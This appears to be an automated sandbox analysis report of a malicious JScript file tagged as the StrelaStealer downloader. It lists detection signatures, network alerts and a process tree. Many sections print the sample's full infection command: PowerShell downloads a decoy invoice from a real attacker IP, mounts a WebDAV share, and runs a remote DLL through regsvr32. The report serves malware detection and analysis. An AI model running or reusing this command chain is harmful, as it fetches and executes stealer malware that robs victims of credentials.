Edit tour

Windows Analysis Report
305861283730376077.js

Overview

General Information

Sample name:	305861283730376077.js
Analysis ID:	1589093
MD5:	2f9b184eb1057b6f4985dc63be13ef34
SHA1:	aa65899d815237362480d5817c86646b8934cba2
SHA256:	cf06c28fc0e6ceb889cb6accd6a3b3cbc757f0dab22b10e7283ee409ea23e3fd
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7456 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7544 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7596 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7192 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10526809432517051660,10063273319735876203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7816 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7456	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7816, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7544, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7596, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll, ProcessId: 7544, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:27:13.157606+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49742	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:27:15.776294+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49758	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:27:13.157606+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49742	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 305861283730376077.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 305861283730376077.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 305861283730376077.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49742 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49758 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:27:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

